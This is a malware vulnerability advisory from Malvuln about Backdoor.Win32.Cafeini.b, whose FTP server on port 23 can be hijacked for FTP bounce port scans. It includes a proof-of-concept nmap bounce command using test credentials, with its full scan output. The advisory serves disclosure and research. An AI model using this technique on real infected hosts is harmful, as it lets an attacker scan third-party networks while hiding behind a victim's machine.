Backdoor.Win32.Cafeini.b Man-In-The-Middle

Discovery / credits: Malvuln - malvuln.com (c) 2022Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0_B.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Cafeini.bVulnerability: Port Bounce ScanDescription: The malware runs an FTP server on TCP port 23. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.Family: CafeiniType: PE32MD5: 851f8945d1b5923990f4722d627156a0Vuln ID: MVID-2022-0569Disclosure: 04/26/2022Exploit/PoC:C:\>nmap -n -Pn -b test:[email protected]:23  -p21,22,80 192.168.18.237 -vStarting Nmap 7.80 ( https://nmap.org ) at 2022-04-20 14:50 UTC-11Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).Attempting connection to ftp://test:[email protected]:23Connected:220 CAFEiNi 1.1 FTP serverLogin credentials accepted by FTP server!Initiating Bounce Scan at 14:50Removed 22Changed my mind about port 22Removed 21Changed my mind about port 21Discovered open port 80/tcp on 192.168.18.237Completed Bounce Scan at 14:50, 2.21s elapsed (3 total ports)Nmap scan report for 192.168.18.237Host is up.PORT   STATE  SERVICE21/tcp closed ftp22/tcp closed ssh80/tcp open   httpRead data files from: C:\Program Files (x86)\NmapNmap done: 1 IP address (1 host up) scanned in 11.39 secondsDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).